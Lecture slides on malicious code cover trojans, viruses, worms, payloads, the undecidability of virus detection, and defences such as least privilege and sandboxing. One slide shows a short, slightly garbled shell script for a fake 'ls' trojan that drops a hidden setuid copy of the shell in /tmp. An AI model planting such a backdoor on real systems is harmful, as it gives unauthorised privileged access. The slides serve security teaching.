What is Malicious Code?

- Set of instructions designed to violate security policy
  - Is an unintentional mistake that violates policy malicious code?
  - What about “unwanted” code that doesn’t cause a security breach?
- Generally relies on “legal” operations
  - Authorized user *could* perform operations without violating policy
  - Malicious code “mimics” authorized user
Types of Malicious Code

- Trojan Horse
  - Trick user into executing malicious code
- Virus
  - Replicates into fixed set of files
- Worm
  - Copies itself from computer to computer

*And then there is the payload*

Trojan Horse

- Program with an overt (expected) and covert effect
  - Appears normal/expected
  - Covert effect violates security policy
- User tricked into executing Trojan horse
  - Expects (and sees) overt behavior
  - Covert effect performed with user’s authorization

*Perpetrator:*

```
cat >/homes/victim/ls <<eof
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rmd ./ls
ls $*
eof
eof
```

*Victim*

```
ls
```
Propagation

- Trojan horse may replicate
  - Create copy on execution
  - Spread to other users/systems
- How (and why) would you make the “ls” Trojan horse self-propagate?

Virus

- Self-replicating code
  - Like replicating Trojan horse
  - Alters normal code with “infected” version
- No overt action
  - Generally tries to remain undetected
- Operates when infected code executed

\[
\text{If spread condition then} \\
\quad \text{For target files} \\
\quad \quad \text{if not infected then alter to include virus} \\
\text{Perform malicious action} \\
\text{Execute normal program}
\]
Virus Types

- **Boot Sector**
  - Problem: How to ensure virus “carrier” executed?
  - Solution: Place in boot sector of disk
    - Run on any boot
  - Propagate by altering boot disk creation
    - *Less common with few boots off floppies*

- **Executable**
  - Malicious code placed at beginning of legitimate program
  - Runs when application run
  - Application then runs normally

Virus Types/Properties

- **Terminate and Stay Resident**
  - Stays active in memory after application complete
  - Allows infection of previously unknown files
    - Trap calls that execute a program

- **Stealth**
  - Conceal Infection
    - Trap read and disinfect
    - Let execute call infected file
  - Encrypt virus
    - Prevents “signature” to detect virus
  - Polymorphism
    - Change virus code to prevent signature
Macro Virus

- Infected “executable” isn’t machine code
  - Relies on something “executed” inside application data
  - Common example: Macros
- Otherwise similar properties to other viruses
  - Architecture-independent
  - Application-dependent

Worms

- Replicates from one computer to another
  - Self-replicating: No user action required
  - Virus: User performs “normal” action
  - Trojan horse: User tricked into performing action
- Communicates/spreads using standard protocols
Payload

• We’ve discussed how they propagate
  – But what do they do?
• Rabbits/Bacteria
  – Exhaust system resources
  – Denial of service
• Logic Bomb
  – Triggers on external event
    • Date, action
  – Performs system-damaging action
    • Often related to event
• Others?

What do we Do?

• Turing machine definition of a virus
  – Makes copies on parts of tape not including $v$
• Is it decidable if an arbitrary program does this?
  – No!
Proof:

• Reduce to halting problem
  – $T$ reproduces $v$ iff $T'$ halts on $v'$

• Idea:
  – $T'$ copies $v$
  – $T'$ simulates $T$, but doesn’t allow access to copy of $v$
  – If $T'$ halts, $V$ is a virus

• See book for details
• Generalized to state it is undecidable if a program contains malicious logic

We can’t detect it: Now what? Detection

• Signature-based antivirus
  – Look for known patterns in malicious code
  – Always a battle with the attacker
  – Great business model!

• Checksum
  – Maintain record of “good” version of file
  – Check to see if changed

• Validate action against specification
  – Including intermediate results/actions
  – $N$-version programming: independent programs
  – see the problem for virus detection?
Detection

• Proof-carrying code
  – Code includes proof of correctness
  – At execution, verify proof against code
    • If code modified, proof will fail

• Statistical Methods
  – High/low number of files read/written
  – Unusual amount of data transferred
  – Abnormal usage of CPU time
  – Only works after the damage is done

Defense

• Clear distinction between data and executable
  – Virus must write to program
    • Write only allowed to data
  – Must execute to spread/act
    • Data not allowed to execute
  – Auditable action required to change data to executable
Defense

• Information Flow
  – Malicious code usurps authority of user
  – Limit information flow between users
    • If A talks to B, B can no longer talk to C
  – Limits spread of virus
  – Problem: Tracking information flow

• Least Privilege
  – Programs run with minimal needed privilege
  – Example: Limit file types accessible by a program

Defense

• Sandbox / Virtual Machine
  – Run in protected area
  – Libraries / system calls replaced with limited privilege set

• Use Multi-Level Security Mechanisms
  – Place programs at lowest level
  – Don’t allow users to operate at that level
  – *Prevents writes by malicious code*